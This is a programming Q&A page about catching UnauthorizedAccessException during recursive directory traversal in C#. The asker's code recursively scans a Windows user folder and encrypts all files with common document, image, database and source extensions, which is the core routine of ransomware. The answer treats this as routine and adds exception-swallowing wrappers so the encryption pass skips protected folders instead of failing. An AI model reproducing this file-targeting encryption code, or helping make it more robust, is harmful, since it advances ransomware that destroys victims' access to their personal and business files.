Search code examples
c#directoryunauthorized

ignore "Unauthorized Access" " function Directory.GetDirectories()"


When I scan The Directory in C:\\users\\<SomeUserName>\\* In some Directory i have no access i search a lot how to ignore "Unauthorized Access" Now i need Help :/

Here is my code:

public void encryptDirectory(string location, string password)
{
    //extensions to be encrypt
    var validExtensions = new[]
    {
        ".txt", ".doc", ".docx", ".xls", ".xlsx", ".ppt", ".pptx", ".odt", ".jpg", ".png", ".csv", ".sql", ".mdb", ".sln", ".php", ".asp", ".aspx", ".html", ".xml", ".psd"
    };
    string[] files = Directory.GetFiles(location);
    string[] childDirectories = Directory.GetDirectories(location);
    for (int i = 0; i < files.Length; i++)
    {
        string extension = Path.GetExtension(files[i]);
        if (validExtensions.Contains(extension))
        {
            EncryptFile(files[i], password);
        }
    }
    for (int i = 0; i < childDirectories.Length; i++)
    {
        encryptDirectory(childDirectories[i], password);
    }
}

Solution

  • If you would like to ignore exceptions thrown by a particular method, write your own wrapper, catch the exception you wish to trap, and return some useful default value:

    private static string[] GetFilesSafe(string location) {
        try {
            return Directory.GetFiles(location);
        } catch (UnauthorizedAccessException ex) {
            Console.Error.WriteLine(ex.Message);
            return new string[0];
        }
    }
    

    Write a similar wrapper for Directory.GetDirectories, and replace direct calls with calls to wrappers. This will hide the access problem.